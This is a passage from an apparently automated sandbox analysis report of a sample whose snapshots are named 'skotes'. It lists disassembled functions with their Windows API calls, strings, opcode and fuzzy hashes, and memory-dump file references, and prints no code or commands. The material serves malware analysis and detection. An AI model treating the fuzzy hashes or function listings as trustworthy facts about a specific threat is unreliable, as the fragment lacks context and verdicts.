Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a188430dfaf29623426033e32ef562241da075e792d58fbcc375c18b8d2ececf
Instruction ID: f682ed04c6a243772b28658947231fac2fe4c995afac40557c223c6a41e265a1
Opcode Fuzzy Hash: a188430dfaf29623426033e32ef562241da075e792d58fbcc375c18b8d2ececf
Instruction Fuzzy Hash: C561F636D01619CFCF25AFA8D8856EDBBA2EF55311F2C411AD44BAB251FA319C00CB71

Function 00D88380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00D88524

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 603e3097b2c83bce2a70eba8be681f4cc30812f633d6c90501317a212da25c2d
Instruction ID: 8216ab617aad4366a1d3a0ab81a3fdd334de7c7a45fef2519cc1278d644f75d0
Opcode Fuzzy Hash: 603e3097b2c83bce2a70eba8be681f4cc30812f633d6c90501317a212da25c2d
Instruction Fuzzy Hash: 9B510771D102589BDB24FB68DD49BEDBB75EF45310F904298E809A72C1EF349E848BB1

Function 00DBD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00DBA72D,?,00000000,?,00DB6D2C,00D87883,3A54CF25,00D87883), ref: 00DBD871

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 821714cf09d4d40c185c002578345f6b5064a2d4cc7655e1e82501f673a9426b
Instruction ID: 1fbc168e38cd9ce4bed9e6af08d0211bac61fae3b0c51defe0a076331d0670f4
Opcode Fuzzy Hash: 821714cf09d4d40c185c002578345f6b5064a2d4cc7655e1e82501f673a9426b
Instruction Fuzzy Hash: 59F0E939601224E6DB212A769C01ADB775ADF85772B1C8121ED0BAB181FA20DC00D6F0

Function 00DBB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,3A54CF25,?,?,00D9D3FC,3A54CF25,?,00D97A8B,?,?,?,?,?,?,00D87465,?), ref: 00DBB07E

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 59432fb6f30c08c1f8c7515b2705f74c6fe2c81c8ab9ccf55d82224c09011981
Instruction ID: e5d38b5c42003f4c1b4276debeae0174d4b890e56b01591e5a6f49c0dfc50ad0
Opcode Fuzzy Hash: 59432fb6f30c08c1f8c7515b2705f74c6fe2c81c8ab9ccf55d82224c09011981
Instruction Fuzzy Hash: 37E06535141615D6D63132768C41BFFB648DB433B0F190212ED6B96190DB90DC0081F1

Function 050F0C62 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

kZXh, xrefs: 050F0C6C

Memory Dump Source

Source File: 00000008.00000002.2704725577.00000000050F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50f0000_skotes.jbxd

Similarity

API ID:
String ID: kZXh
API String ID: 0-2638428750
Opcode ID: a141d8bd4beeb00ee83ed77713784330f13578c86b696678c309606c236c82e4
Instruction ID: cada6ffc1907f1141d5ee242ac25cc871d091fa2468f6856eb4f6e109c51a57e
Opcode Fuzzy Hash: a141d8bd4beeb00ee83ed77713784330f13578c86b696678c309606c236c82e4
Instruction Fuzzy Hash: 52115CAF00D2506DD602C7613AAD5FF7FAEE592734331856BF183CA803D155564A43F1

Function 00D96C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00D96CF5

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0f920f1a07d0917de7bea15251ff3e336933578628542da189bdffa92ef4bdda
Instruction ID: 2a4bc9a8a3b4f77ecbe90992d6127355ae48e00fa68965c716d94a5545ce19ab
Opcode Fuzzy Hash: 0f920f1a07d0917de7bea15251ff3e336933578628542da189bdffa92ef4bdda
Instruction Fuzzy Hash: 4DF0F471A40644ABCB00BB699C07B2E7B78EB07760F800348F8256B3D6EB305A044BF2

Function 050F0BA2 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2704725577.00000000050F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50f0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b497c9752d2cf6aff1482006f52bb52c6e42974661e298efba7859a3f4a5b05
Instruction ID: 5cd89767c0cbb26ee3492827a175783496315a47d5abef8a35f1e77b8d7d1f86
Opcode Fuzzy Hash: 3b497c9752d2cf6aff1482006f52bb52c6e42974661e298efba7859a3f4a5b05
Instruction Fuzzy Hash: C901FCAA14C115ADA201D2512FBD5FE7BAFE1C63347308426F643D6C43E284064D5371

Non-executed Functions

Function 00DC31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DC3323

Strings

1#INF, xrefs: 00DC44DE
1#SNAN, xrefs: 00DC44BA
1#QNAN, xrefs: 00DC44C1
1#IND, xrefs: 00DC44B3

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c696392a9472d63e1f42332c5b380c97ae335dd763412e816f31d05a93487ced
Instruction ID: 5bcc3b74d64a6724900aa9c64ee1ba79345166ee06ca06d33618744bd97dd85b
Opcode Fuzzy Hash: c696392a9472d63e1f42332c5b380c97ae335dd763412e816f31d05a93487ced
Instruction Fuzzy Hash: 5CC24E71E086298FDB25CE28DD50BE9B7B5EB48314F1841EED84DE7240E775AE818F60

Function 00DC2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 3509d82de004e702976c3e254e91b3ec8dde0ba830b5a4fc776804bf0bcc20fd
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: D4F11D71E0121A9FDF14CFA9C880BADB7B5FF48314F29826DE915A7344D731AE418BA4

Function 00D9CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00D9CF52,?,?,?,?,00D9CF87,?,?,?,?,?,?,00D9C4FD,?,00000001), ref: 00D9CC03

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: ed867e2cb1ada7a0e5f13761c67ba9c9d747b5ba0df5570f43e0c3c4ed3c4d92
Instruction ID: 194afe905257628f87c1ea6323fbd04ac6440da8c94e1304dcb90cb7c73dc716
Opcode Fuzzy Hash: ed867e2cb1ada7a0e5f13761c67ba9c9d747b5ba0df5570f43e0c3c4ed3c4d92
Instruction Fuzzy Hash: 2FD02233603238938F017B84FC088ACBFA8CA00B547041112E90897220CA60AC005BF8

Function 00DB7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00DB80B2

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 17dfce077ffff257608c5a6725cc54988a51dc1725e9ae1b0f92b621718f7a40
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: DC516B30608748DBDB385A2C88957FE679EAF95380F1C051DE483E72C1CE51DD49E27A

Function 00D84DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d117f86e851beeaf681392ad7f11d37674dba8a6a86c1d1384ebdffa90ab7c
Instruction ID: bad431727f02868307489e0a68d527a01c87b7b44d7a756a819765a3309942f1
Opcode Fuzzy Hash: a8d117f86e851beeaf681392ad7f11d37674dba8a6a86c1d1384ebdffa90ab7c
Instruction Fuzzy Hash: 372261B3F516144BDB0CCB5DDCA27ECB2E3AFD8214B0E803DA40AE3345EA79D9159A44

Function 00DC7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e64fde3999be9cfe6c4a3217a2c49c75bcc01aa3e1852dc06c2055c8d4d8de
Instruction ID: 877a2a236144c99f3fe3ac004d51f9fcd2d366b3166fd7c17a6a389a9e88db8b
Opcode Fuzzy Hash: f0e64fde3999be9cfe6c4a3217a2c49c75bcc01aa3e1852dc06c2055c8d4d8de
Instruction Fuzzy Hash: C4B127316146069FD719CF28C486F657BA0FF45364F29865CE89ACF2A1C335E982CF50

Function 00D84B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2696694552.0000000001244000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef7aeab16aff5bddcb429c08009b5fcceba069fac52348b272053a8833db277
Instruction ID: 0bbd69680890013a999213857256e566be7cf3ee353cfa5177e9a468d668b393
Opcode Fuzzy Hash: 0ef7aeab16aff5bddcb429c08009b5fcceba069fac52348b272053a8833db277
Instruction Fuzzy Hash: DF81FF70A002868FEB15EF69D890BFEBBF9FB19300F190269D850A7752D7359945CBB0

Function 00DC78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000008.00000002.2689585929.0000000000D80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2689728231.0000000000DE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690047963.0000000000DE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000000F7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001057000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.0000000001085000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000108F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2690214730.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2691534417.000000000109E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694742158.0000000001241000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2694889119.0000000001242000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2695991023.0000000001243000.00000040.00000001.01000000.00000007.sdmpDownload File
